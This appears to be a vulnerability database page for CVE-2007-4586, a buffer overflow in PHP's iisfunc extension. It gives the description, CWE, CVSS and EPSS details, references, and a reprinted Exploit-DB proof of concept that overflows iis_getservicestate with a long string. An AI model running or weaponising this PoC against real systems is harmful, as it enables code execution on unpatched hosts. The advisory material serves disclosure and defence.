CVE-2007-4586 : Detail

CVE-2007-4586

Overflow
0.7%V3
Network
2007-08-28
23h00 +00:00
2017-09-28
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Multiple buffer overflows in php_iisfunc.dll in the iisfunc extension for PHP 5.2.0 and earlier allow context-dependent attackers to execute arbitrary code, probably during Unicode conversion, as demonstrated by a long string in the first argument to the iis_getservicestate function, related to the ServiceId argument to the (1) fnStartService, (2) fnGetServiceState, (3) fnStopService, and possibly other functions.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 4318

Publication date : 2007-08-26 22h00 +00:00
Author : boecke
EDB Verified : Yes

<?php // ================================================================================== // // php_iisfunc.dll PHP <= 5.2.0 (win32) Buffer Overflow PoC // // Discovery: boecke <[email protected]> // Risk: Local Buffer Overflow (Medium - High Risk) // Notes: Various other functions are exploitable, all of which convert the // string argument(s) to unicode. // // extern "C" IISFUNC_API int fnStartService(LPCTSTR ServiceId); // extern "C" IISFUNC_API int fnGetServiceState(LPCTSTR ServiceId); // extern "C" IISFUNC_API int fnStopService(LPCTSTR ServiceId); // // "Sangre, sonando, de rabia naci.. Who do you trust?" // - Cygnus, Vismund Cygnus: Sarcophagi // // ================================================================================== if ( !extension_loaded( "iisfunc" ) ) { die( "Extension not loaded.\n" ); } $buf_unicode = str_repeat( "A", 256 ); $eip_unicode = "\x41\x41"; iis_getservicestate( $buf_unicode . $eip_unicode ); ?> # milw0rm.com [2007-08-27]

Products Mentioned

Configuraton 0

Php>>Php >> Version To (including) 5.2.0

References

http://www.securityfocus.com/bid/25452
Tags : vdb-entry, x_refsource_BID
https://www.exploit-db.com/exploits/4318
Tags : exploit, x_refsource_EXPLOIT-DB